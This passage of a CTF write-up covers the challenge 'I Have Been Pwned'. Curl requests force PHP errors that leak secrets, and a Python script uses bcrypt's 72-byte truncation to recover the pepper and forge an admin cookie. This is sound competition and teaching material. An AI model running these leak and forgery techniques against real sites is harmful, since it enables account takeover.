<section class="code-block relative my-6 shadow" itemprop="hasPart" itemscope itemtype="https://schema.org/SoftwareSourceCode" data-v-c675dba6><div class="h-6 items-center rd-t-1 bg-area px-4 dark:bg-#2A313A media-screen:important-flex" style="display:none;" data-v-c675dba6><h3 class="text-3 text-footer" itemprop="programmingLanguage" aria-label="JSON 代码块" data-v-c675dba6>JSON</h3><ile-root id="ile-56"><button title="复制到剪贴板" class="copy-button b-footer text-footer" data-v-63dfb2af><span class="i-mdi-content-copy" data-v-63dfb2af></span><span class="sr-only" role="status" data-v-63dfb2af></span></button></ile-root><!--ISLAND_HYDRATION_PLACEHOLDER_ile-56--></div><div class="dark:hidden" itemprop="text" data-v-c675dba6><pre class="shiki light" style="background-color: #FBFBFB" tabindex="0"><code><span><span style="color: #403F53">{ </span><span style="color: #0C969B">&quot;num&quot;</span><span style="color: #403F53">: [</span><span style="color: #AA0982">65536</span><span style="color: #403F53">, </span><span style="color: #AA0982">1</span><span style="color: #403F53">, </span><span style="color: #AA0982">1</span><span style="color: #403F53">] }</span></span></code></pre></div><div class="dark:important-block" style="display:none;" data-v-c675dba6><pre class="shiki dark" style="background-color: #011627" tabindex="0"><code><span><span style="color: #D6DEEB">{ </span><span style="color: #7FDBCA">&quot;num&quot;</span><span style="color: #D6DEEB">: [</span><span style="color: #F78C6C">65536</span><span style="color: #D6DEEB">, </span><span style="color: #F78C6C">1</span><span style="color: #D6DEEB">, </span><span style="color: #F78C6C">1</span><span style="color: #D6DEEB">] }</span></span></code></pre></div></section>
<h2 id="i-have-been-pwned-24-solves" class="heading"><a href="#i-have-been-pwned-24-solves" class="heading-anchor" aria-label="章节： I Have Been Pwned (24 solves)" tabindex="-1"></a><span>I Have Been Pwned (24 solves)</span></h2>
<p>Solved collaboratively by @Eki, @wdeilim, @gml-sec, and me.</p>
<h3 id="php-debug-message-leak" class="heading"><a href="#php-debug-message-leak" class="heading-anchor" aria-label="章节： PHP debug message leak" tabindex="-1"></a><span>PHP debug message leak</span></h3>
<p>Leak first 15 characters of <code>pepper1</code>:</p>
<section class="code-block relative my-6 shadow" itemprop="hasPart" itemscope itemtype="https://schema.org/SoftwareSourceCode" data-v-c675dba6><div class="h-6 items-center rd-t-1 bg-area px-4 dark:bg-#2A313A media-screen:important-flex" style="display:none;" data-v-c675dba6><h4 class="text-3 text-footer" itemprop="programmingLanguage" aria-label="Shell Session 代码块" data-v-c675dba6>Shell Session</h4><ile-root id="ile-57"><button title="复制到剪贴板" class="copy-button b-footer text-footer" data-v-63dfb2af><span class="i-mdi-content-copy" data-v-63dfb2af></span><span class="sr-only" role="status" data-v-63dfb2af></span></button></ile-root><!--ISLAND_HYDRATION_PLACEHOLDER_ile-57--></div><div class="dark:hidden" itemprop="text" data-v-c675dba6><pre class="shiki light" style="background-color: #FBFBFB" tabindex="0"><code><span><span style="color: #403F53">$ curl http://34.84.32.212:8080/ -d </span><span style="color: #111111">&#39;</span><span style="color: #C96765">auth=guest&amp;password=%00</span><span style="color: #111111">&#39;</span></span>
<span><span style="color: #403F53">&lt;br /&gt;</span></span>
<span><span style="color: #403F53">&lt;b&gt;Fatal error&lt;/b&gt;:  Uncaught ValueError: Bcrypt password must not contain null character in /var/www/html/index.php:21</span></span>
<span><span style="color: #403F53">Stack trace:</span></span>
<span><span style="color: #403F53">#0 /var/www/html/index.php(21): password_hash(&#39;PmVG7xe9ECBSgLU...&#39;, &#39;2y&#39;)</span></span>
<span><span style="color: #403F53">#1 {main}</span></span>
<span><span style="color: #403F53">    thrown in &lt;b&gt;/var/www/html/index.php&lt;/b&gt; on line &lt;b&gt;21&lt;/b&gt;&lt;br /&gt;</span></span></code></pre></div><div class="dark:important-block" style="display:none;" data-v-c675dba6><pre class="shiki dark" style="background-color: #011627" tabindex="0"><code><span><span style="color: #D6DEEB">$ curl http://34.84.32.212:8080/ -d </span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">auth=guest&amp;password=%00</span><span style="color: #D9F5DD">&#39;</span></span>
<span><span style="color: #D6DEEB">&lt;br /&gt;</span></span>
<span><span style="color: #D6DEEB">&lt;b&gt;Fatal error&lt;/b&gt;:  Uncaught ValueError: Bcrypt password must not contain null character in /var/www/html/index.php:21</span></span>
<span><span style="color: #D6DEEB">Stack trace:</span></span>
<span><span style="color: #D6DEEB">#0 /var/www/html/index.php(21): password_hash(&#39;PmVG7xe9ECBSgLU...&#39;, &#39;2y&#39;)</span></span>
<span><span style="color: #D6DEEB">#1 {main}</span></span>
<span><span style="color: #D6DEEB">    thrown in &lt;b&gt;/var/www/html/index.php&lt;/b&gt; on line &lt;b&gt;21&lt;/b&gt;&lt;br /&gt;</span></span></code></pre></div></section>
<p>Leak <code>admin_<wbr>password</code>:</p>
<section class="code-block relative my-6 shadow" itemprop="hasPart" itemscope itemtype="https://schema.org/SoftwareSourceCode" data-v-c675dba6><div class="h-6 items-center rd-t-1 bg-area px-4 dark:bg-#2A313A media-screen:important-flex" style="display:none;" data-v-c675dba6><h4 class="text-3 text-footer" itemprop="programmingLanguage" aria-label="Shell Session 代码块" data-v-c675dba6>Shell Session</h4><ile-root id="ile-58"><button title="复制到剪贴板" class="copy-button b-footer text-footer" data-v-63dfb2af><span class="i-mdi-content-copy" data-v-63dfb2af></span><span class="sr-only" role="status" data-v-63dfb2af></span></button></ile-root><!--ISLAND_HYDRATION_PLACEHOLDER_ile-58--></div><div class="dark:hidden" itemprop="text" data-v-c675dba6><pre class="shiki light" style="background-color: #FBFBFB" tabindex="0"><code><span><span style="color: #403F53">$ curl http://34.84.32.212:8080/ -d </span><span style="color: #111111">&#39;</span><span style="color: #C96765">auth=admin&amp;password[]=</span><span style="color: #111111">&#39;</span><span style="color: #403F53"> </span></span>
<span><span style="color: #403F53">&lt;br /&gt;</span></span>
<span><span style="color: #403F53">&lt;b&gt;Fatal error&lt;/b&gt;:  Uncaught TypeError: hash_equals(): Argument #2 ($user_string) must be of type string, array given in /var/www/html/index.php:13</span></span>
<span><span style="color: #403F53">Stack trace:</span></span>
<span><span style="color: #403F53">#0 /var/www/html/index.php(13): hash_equals(&#39;KeTzkrRuESlhd1V&#39;, Array)</span></span>
<span><span style="color: #403F53">#1 {main}</span></span>
<span><span style="color: #403F53">    thrown in &lt;b&gt;/var/www/html/index.php&lt;/b&gt; on line &lt;b&gt;13&lt;/b&gt;&lt;br /&gt;</span></span></code></pre></div><div class="dark:important-block" style="display:none;" data-v-c675dba6><pre class="shiki dark" style="background-color: #011627" tabindex="0"><code><span><span style="color: #D6DEEB">$ curl http://34.84.32.212:8080/ -d </span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">auth=admin&amp;password[]=</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D6DEEB"> </span></span>
<span><span style="color: #D6DEEB">&lt;br /&gt;</span></span>
<span><span style="color: #D6DEEB">&lt;b&gt;Fatal error&lt;/b&gt;:  Uncaught TypeError: hash_equals(): Argument #2 ($user_string) must be of type string, array given in /var/www/html/index.php:13</span></span>
<span><span style="color: #D6DEEB">Stack trace:</span></span>
<span><span style="color: #D6DEEB">#0 /var/www/html/index.php(13): hash_equals(&#39;KeTzkrRuESlhd1V&#39;, Array)</span></span>
<span><span style="color: #D6DEEB">#1 {main}</span></span>
<span><span style="color: #D6DEEB">    thrown in &lt;b&gt;/var/www/html/index.php&lt;/b&gt; on line &lt;b&gt;13&lt;/b&gt;&lt;br /&gt;</span></span></code></pre></div></section>
<h3 id="bcrypt-truncating" class="heading"><a href="#bcrypt-truncating" class="heading-anchor" aria-label="章节： BCrypt truncating" tabindex="-1"></a><span>BCrypt truncating</span></h3>
<p>BCrypt truncates the password to the first 72 characters. So we can truncate pepper2 and get the last character of pepper1 and each character of pepper2 by enumerating each value and verify the password hash.</p>
<section class="code-block relative my-6 shadow" itemprop="hasPart" itemscope itemtype="https://schema.org/SoftwareSourceCode" data-v-c675dba6><div class="h-6 items-center rd-t-1 bg-area px-4 dark:bg-#2A313A media-screen:important-flex" style="display:none;" data-v-c675dba6><h4 class="text-3 text-footer" itemprop="programmingLanguage" aria-label="Python 代码块" data-v-c675dba6>Python</h4><ile-root id="ile-59"><button title="复制到剪贴板" class="copy-button b-footer text-footer" data-v-63dfb2af><span class="i-mdi-content-copy" data-v-63dfb2af></span><span class="sr-only" role="status" data-v-63dfb2af></span></button></ile-root><!--ISLAND_HYDRATION_PLACEHOLDER_ile-59--></div><div class="dark:hidden" itemprop="text" data-v-c675dba6><pre class="shiki light" style="background-color: #FBFBFB" tabindex="0"><code><span><span style="color: #994CC3">import</span><span style="color: #403F53"> requests</span></span>
<span><span style="color: #994CC3">from</span><span style="color: #403F53"> bcrypt </span><span style="color: #994CC3">import</span><span style="color: #403F53"> checkpw, hashpw, gensalt</span></span>
<span><span style="color: #994CC3">from</span><span style="color: #403F53"> base64 </span><span style="color: #994CC3">import</span><span style="color: #403F53"> b64decode, b64encode</span></span>
<span></span>
<span><span style="color: #4876D6">URL</span><span style="color: #403F53"> </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #111111">&#39;</span><span style="color: #C96765">http://34.84.32.212:8080</span><span style="color: #111111">&#39;</span></span>
<span></span>
<span><span style="color: #403F53">pepper1 </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #111111">&#39;</span><span style="color: #C96765">PmVG7xe9ECBSgLU</span><span style="color: #111111">&#39;</span></span>
<span><span style="color: #403F53">admin_password </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #111111">&#39;</span><span style="color: #C96765">KeTzkrRuESlhd1V</span><span style="color: #111111">&#39;</span></span>
<span><span style="color: #403F53">pepper2 </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #111111">&#39;&#39;</span></span>
<span></span>
<span><span style="color: #994CC3">def</span><span style="color: #403F53"> </span><span style="color: #4876D6">hash</span><span style="color: #111111">(</span><span style="color: #0C969B">password</span><span style="color: #111111">)</span><span style="color: #403F53">:</span></span>
<span><span style="color: #403F53">    res </span><span style="color: #994CC3">=</span><span style="color: #403F53"> requests.</span><span style="color: #0C969B">post</span><span style="color: #403F53">(</span><span style="color: #4876D6">URL</span><span style="color: #111111">,</span><span style="color: #4876D6"> </span><span style="color: #403F53">data</span><span style="color: #994CC3">=</span><span style="color: #4876D6">{</span><span style="color: #111111">&#39;</span><span style="color: #C96765">auth</span><span style="color: #111111">&#39;</span><span style="color: #4876D6">: </span><span style="color: #111111">&#39;</span><span style="color: #C96765">guest</span><span style="color: #111111">&#39;</span><span style="color: #4876D6">, </span><span style="color: #111111">&#39;</span><span style="color: #C96765">password</span><span style="color: #111111">&#39;</span><span style="color: #4876D6">: password}</span><span style="color: #111111">,</span><span style="color: #4876D6"> </span><span style="color: #403F53">allow_redirects</span><span style="color: #994CC3">=</span><span style="color: #BC5454">False</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">    b64 </span><span style="color: #994CC3">=</span><span style="color: #403F53"> res.cookies.</span><span style="color: #0C969B">get</span><span style="color: #403F53">(</span><span style="color: #111111">&#39;</span><span style="color: #C96765">hash</span><span style="color: #111111">&#39;</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">    </span><span style="color: #994CC3">assert</span><span style="color: #403F53"> b64 </span><span style="color: #994CC3">is</span><span style="color: #403F53"> </span><span style="color: #994CC3">not</span><span style="color: #403F53"> </span><span style="color: #BC5454">None</span></span>
<span><span style="color: #403F53">    </span><span style="color: #994CC3">return</span><span style="color: #403F53"> </span><span style="color: #0C969B">b64decode</span><span style="color: #403F53">(</span><span style="color: #4876D6">b64</span><span style="color: #403F53">)</span></span>
<span></span>
<span><span style="color: #403F53">h </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #4876D6">hash</span><span style="color: #403F53">(</span><span style="color: #111111">&#39;</span><span style="color: #C96765">a</span><span style="color: #111111">&#39;</span><span style="color: #4876D6"> </span><span style="color: #994CC3">*</span><span style="color: #4876D6"> </span><span style="color: #AA0982">100</span><span style="color: #403F53">)</span></span>
<span><span style="color: #994CC3">for</span><span style="color: #403F53"> i </span><span style="color: #994CC3">in</span><span style="color: #403F53"> </span><span style="color: #4876D6">range</span><span style="color: #403F53">(</span><span style="color: #AA0982">256</span><span style="color: #403F53">):</span></span>
<span><span style="color: #403F53">    pw </span><span style="color: #994CC3">=</span><span style="color: #403F53"> (pepper1 </span><span style="color: #994CC3">+</span><span style="color: #403F53"> </span><span style="color: #4876D6">chr</span><span style="color: #403F53">(</span><span style="color: #4876D6">i</span><span style="color: #403F53">) </span><span style="color: #994CC3">+</span><span style="color: #403F53"> </span><span style="color: #111111">&#39;</span><span style="color: #C96765">guest</span><span style="color: #111111">&#39;</span><span style="color: #403F53">).</span><span style="color: #0C969B">ljust</span><span style="color: #403F53">(</span><span style="color: #AA0982">72</span><span style="color: #111111">,</span><span style="color: #4876D6"> </span><span style="color: #111111">&#39;</span><span style="color: #C96765">a</span><span style="color: #111111">&#39;</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">    </span><span style="color: #994CC3">if</span><span style="color: #403F53"> </span><span style="color: #0C969B">checkpw</span><span style="color: #403F53">(</span><span style="color: #4876D6">pw.</span><span style="color: #0C969B">encode</span><span style="color: #403F53">()</span><span style="color: #111111">,</span><span style="color: #4876D6"> h</span><span style="color: #403F53">):</span></span>
<span><span style="color: #403F53">        pepper1 </span><span style="color: #994CC3">+=</span><span style="color: #403F53"> </span><span style="color: #4876D6">chr</span><span style="color: #403F53">(</span><span style="color: #4876D6">i</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">        </span><span style="color: #994CC3">break</span></span>
<span><span style="color: #4876D6">print</span><span style="color: #403F53">(</span><span style="color: #4876D6">pepper1</span><span style="color: #403F53">)</span></span>
<span></span>
<span><span style="color: #994CC3">for</span><span style="color: #403F53"> i </span><span style="color: #994CC3">in</span><span style="color: #403F53"> </span><span style="color: #4876D6">range</span><span style="color: #403F53">(</span><span style="color: #AA0982">16</span><span style="color: #403F53">):</span></span>
<span><span style="color: #403F53">    password </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #111111">&#39;</span><span style="color: #C96765">a</span><span style="color: #111111">&#39;</span><span style="color: #403F53"> </span><span style="color: #994CC3">*</span><span style="color: #403F53"> (</span><span style="color: #AA0982">50</span><span style="color: #403F53"> </span><span style="color: #994CC3">-</span><span style="color: #403F53"> i)</span></span>
<span><span style="color: #403F53">    h </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #4876D6">hash</span><span style="color: #403F53">(</span><span style="color: #4876D6">password</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">    </span><span style="color: #994CC3">for</span><span style="color: #403F53"> j </span><span style="color: #994CC3">in</span><span style="color: #403F53"> </span><span style="color: #4876D6">range</span><span style="color: #403F53">(</span><span style="color: #AA0982">256</span><span style="color: #403F53">):</span></span>
<span><span style="color: #403F53">        pw </span><span style="color: #994CC3">=</span><span style="color: #403F53"> pepper1 </span><span style="color: #994CC3">+</span><span style="color: #403F53"> </span><span style="color: #111111">&#39;</span><span style="color: #C96765">guest</span><span style="color: #111111">&#39;</span><span style="color: #403F53"> </span><span style="color: #994CC3">+</span><span style="color: #403F53"> password </span><span style="color: #994CC3">+</span><span style="color: #403F53"> pepper2 </span><span style="color: #994CC3">+</span><span style="color: #403F53"> </span><span style="color: #4876D6">chr</span><span style="color: #403F53">(</span><span style="color: #4876D6">j</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">        </span><span style="color: #994CC3">if</span><span style="color: #403F53"> </span><span style="color: #0C969B">checkpw</span><span style="color: #403F53">(</span><span style="color: #4876D6">pw.</span><span style="color: #0C969B">encode</span><span style="color: #403F53">()</span><span style="color: #111111">,</span><span style="color: #4876D6"> h</span><span style="color: #403F53">):</span></span>
<span><span style="color: #403F53">            pepper2 </span><span style="color: #994CC3">+=</span><span style="color: #403F53"> </span><span style="color: #4876D6">chr</span><span style="color: #403F53">(</span><span style="color: #4876D6">j</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">            </span><span style="color: #4876D6">print</span><span style="color: #403F53">(</span><span style="color: #4876D6">pepper2</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">            </span><span style="color: #994CC3">break</span></span>
<span></span>
<span><span style="color: #403F53">h </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #0C969B">hashpw</span><span style="color: #403F53">(</span><span style="color: #4876D6">(pepper1 </span><span style="color: #994CC3">+</span><span style="color: #4876D6"> </span><span style="color: #111111">&#39;</span><span style="color: #C96765">admin</span><span style="color: #111111">&#39;</span><span style="color: #4876D6"> </span><span style="color: #994CC3">+</span><span style="color: #4876D6"> admin_password </span><span style="color: #994CC3">+</span><span style="color: #4876D6"> pepper2).</span><span style="color: #0C969B">encode</span><span style="color: #403F53">()</span><span style="color: #111111">,</span><span style="color: #4876D6"> </span><span style="color: #0C969B">gensalt</span><span style="color: #403F53">())</span></span>
<span><span style="color: #403F53">h </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #0C969B">b64encode</span><span style="color: #403F53">(</span><span style="color: #4876D6">h</span><span style="color: #403F53">).</span><span style="color: #0C969B">decode</span><span style="color: #403F53">()</span></span>
<span><span style="color: #403F53">res </span><span style="color: #994CC3">=</span><span style="color: #403F53"> requests.</span><span style="color: #0C969B">get</span><span style="color: #403F53">(</span><span style="color: #994CC3">f</span><span style="color: #C96765">&#39;</span><span style="color: #4876D6">{URL}</span><span style="color: #C96765">/mypage.php&#39;</span><span style="color: #111111">,</span><span style="color: #4876D6"> </span><span style="color: #403F53">cookies</span><span style="color: #994CC3">=</span><span style="color: #4876D6">{</span><span style="color: #111111">&#39;</span><span style="color: #C96765">auth</span><span style="color: #111111">&#39;</span><span style="color: #4876D6">: </span><span style="color: #111111">&#39;</span><span style="color: #C96765">admin</span><span style="color: #111111">&#39;</span><span style="color: #4876D6">, </span><span style="color: #111111">&#39;</span><span style="color: #C96765">hash</span><span style="color: #111111">&#39;</span><span style="color: #4876D6">: h}</span><span style="color: #403F53">)</span></span>
<span><span style="color: #4876D6">print</span><span style="color: #403F53">(</span><span style="color: #4876D6">res.text</span><span style="color: #403F53">)</span></span></code></pre></div><div class="dark:important-block" style="display:none;" data-v-c675dba6><pre class="shiki dark" style="background-color: #011627" tabindex="0"><code><span><span style="color: #C792EA">import</span><span style="color: #D6DEEB"> requests</span></span>
<span><span style="color: #C792EA">from</span><span style="color: #D6DEEB"> bcrypt </span><span style="color: #C792EA">import</span><span style="color: #D6DEEB"> checkpw, hashpw, gensalt</span></span>
<span><span style="color: #C792EA">from</span><span style="color: #D6DEEB"> base64 </span><span style="color: #C792EA">import</span><span style="color: #D6DEEB"> b64decode, b64encode</span></span>
<span></span>
<span><span style="color: #82AAFF">URL</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">http://34.84.32.212:8080</span><span style="color: #D9F5DD">&#39;</span></span>
<span></span>
<span><span style="color: #D6DEEB">pepper1 </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">PmVG7xe9ECBSgLU</span><span style="color: #D9F5DD">&#39;</span></span>
<span><span style="color: #D6DEEB">admin_password </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">KeTzkrRuESlhd1V</span><span style="color: #D9F5DD">&#39;</span></span>
<span><span style="color: #D6DEEB">pepper2 </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #D9F5DD">&#39;&#39;</span></span>
<span></span>
<span><span style="color: #C792EA">def</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">hash</span><span style="color: #D9F5DD">(</span><span style="color: #7FDBCA">password</span><span style="color: #D9F5DD">)</span><span style="color: #D6DEEB">:</span></span>
<span><span style="color: #D6DEEB">    res </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> requests.</span><span style="color: #B2CCD6">post</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">URL</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> </span><span style="color: #D7DBE0">data</span><span style="color: #C792EA">=</span><span style="color: #82AAFF">{</span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">auth</span><span style="color: #D9F5DD">&#39;</span><span style="color: #82AAFF">: </span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">guest</span><span style="color: #D9F5DD">&#39;</span><span style="color: #82AAFF">, </span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">password</span><span style="color: #D9F5DD">&#39;</span><span style="color: #82AAFF">: password}</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> </span><span style="color: #D7DBE0">allow_redirects</span><span style="color: #C792EA">=</span><span style="color: #FF5874">False</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">    b64 </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> res.cookies.</span><span style="color: #B2CCD6">get</span><span style="color: #D6DEEB">(</span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">hash</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C792EA">assert</span><span style="color: #D6DEEB"> b64 </span><span style="color: #C792EA">is</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">not</span><span style="color: #D6DEEB"> </span><span style="color: #FF5874">None</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C792EA">return</span><span style="color: #D6DEEB"> </span><span style="color: #B2CCD6">b64decode</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">b64</span><span style="color: #D6DEEB">)</span></span>
<span></span>
<span><span style="color: #D6DEEB">h </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">hash</span><span style="color: #D6DEEB">(</span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">a</span><span style="color: #D9F5DD">&#39;</span><span style="color: #82AAFF"> </span><span style="color: #C792EA">*</span><span style="color: #82AAFF"> </span><span style="color: #F78C6C">100</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #C792EA">for</span><span style="color: #D6DEEB"> i </span><span style="color: #C792EA">in</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">range</span><span style="color: #D6DEEB">(</span><span style="color: #F78C6C">256</span><span style="color: #D6DEEB">):</span></span>
<span><span style="color: #D6DEEB">    pw </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> (pepper1 </span><span style="color: #C792EA">+</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">chr</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">i</span><span style="color: #D6DEEB">) </span><span style="color: #C792EA">+</span><span style="color: #D6DEEB"> </span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">guest</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D6DEEB">).</span><span style="color: #B2CCD6">ljust</span><span style="color: #D6DEEB">(</span><span style="color: #F78C6C">72</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> </span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">a</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C792EA">if</span><span style="color: #D6DEEB"> </span><span style="color: #B2CCD6">checkpw</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">pw.</span><span style="color: #B2CCD6">encode</span><span style="color: #D6DEEB">()</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> h</span><span style="color: #D6DEEB">):</span></span>
<span><span style="color: #D6DEEB">        pepper1 </span><span style="color: #C792EA">+=</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">chr</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">i</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">        </span><span style="color: #C792EA">break</span></span>
<span><span style="color: #C5E478">print</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">pepper1</span><span style="color: #D6DEEB">)</span></span>
<span></span>
<span><span style="color: #C792EA">for</span><span style="color: #D6DEEB"> i </span><span style="color: #C792EA">in</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">range</span><span style="color: #D6DEEB">(</span><span style="color: #F78C6C">16</span><span style="color: #D6DEEB">):</span></span>
<span><span style="color: #D6DEEB">    password </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">a</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">*</span><span style="color: #D6DEEB"> (</span><span style="color: #F78C6C">50</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">-</span><span style="color: #D6DEEB"> i)</span></span>
<span><span style="color: #D6DEEB">    h </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">hash</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">password</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C792EA">for</span><span style="color: #D6DEEB"> j </span><span style="color: #C792EA">in</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">range</span><span style="color: #D6DEEB">(</span><span style="color: #F78C6C">256</span><span style="color: #D6DEEB">):</span></span>
<span><span style="color: #D6DEEB">        pw </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> pepper1 </span><span style="color: #C792EA">+</span><span style="color: #D6DEEB"> </span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">guest</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">+</span><span style="color: #D6DEEB"> password </span><span style="color: #C792EA">+</span><span style="color: #D6DEEB"> pepper2 </span><span style="color: #C792EA">+</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">chr</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">j</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">        </span><span style="color: #C792EA">if</span><span style="color: #D6DEEB"> </span><span style="color: #B2CCD6">checkpw</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">pw.</span><span style="color: #B2CCD6">encode</span><span style="color: #D6DEEB">()</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> h</span><span style="color: #D6DEEB">):</span></span>
<span><span style="color: #D6DEEB">            pepper2 </span><span style="color: #C792EA">+=</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">chr</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">j</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">            </span><span style="color: #C5E478">print</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">pepper2</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">            </span><span style="color: #C792EA">break</span></span>
<span></span>
<span><span style="color: #D6DEEB">h </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #B2CCD6">hashpw</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">(pepper1 </span><span style="color: #C792EA">+</span><span style="color: #82AAFF"> </span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">admin</span><span style="color: #D9F5DD">&#39;</span><span style="color: #82AAFF"> </span><span style="color: #C792EA">+</span><span style="color: #82AAFF"> admin_password </span><span style="color: #C792EA">+</span><span style="color: #82AAFF"> pepper2).</span><span style="color: #B2CCD6">encode</span><span style="color: #D6DEEB">()</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> </span><span style="color: #B2CCD6">gensalt</span><span style="color: #D6DEEB">())</span></span>
<span><span style="color: #D6DEEB">h </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #B2CCD6">b64encode</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">h</span><span style="color: #D6DEEB">).</span><span style="color: #B2CCD6">decode</span><span style="color: #D6DEEB">()</span></span>
<span><span style="color: #D6DEEB">res </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> requests.</span><span style="color: #B2CCD6">get</span><span style="color: #D6DEEB">(</span><span style="color: #C792EA">f</span><span style="color: #ECC48D">&#39;</span><span style="color: #82AAFF">{URL}</span><span style="color: #ECC48D">/mypage.php&#39;</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> </span><span style="color: #D7DBE0">cookies</span><span style="color: #C792EA">=</span><span style="color: #82AAFF">{</span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">auth</span><span style="color: #D9F5DD">&#39;</span><span style="color: #82AAFF">: </span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">admin</span><span style="color: #D9F5DD">&#39;</span><span style="color: #82AAFF">, </span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">hash</span><span style="color: #D9F5DD">&#39;</span><span style="color: #82AAFF">: h}</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #C5E478">print</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">res.text</span><span style="color: #D6DEEB">)</span></span></code></pre></div></section>
<h2 id="cipher-preset-button-19-solves" class="heading"><a href="#cipher-preset-button-19-solves" class="heading-anchor" aria-label="章节： Cipher Preset Button (19 solves)" tabindex="-1"></a><span>Cipher Preset Button (19 solves)</span></h2>
<p>Solved by me and @NanoApe.</p>
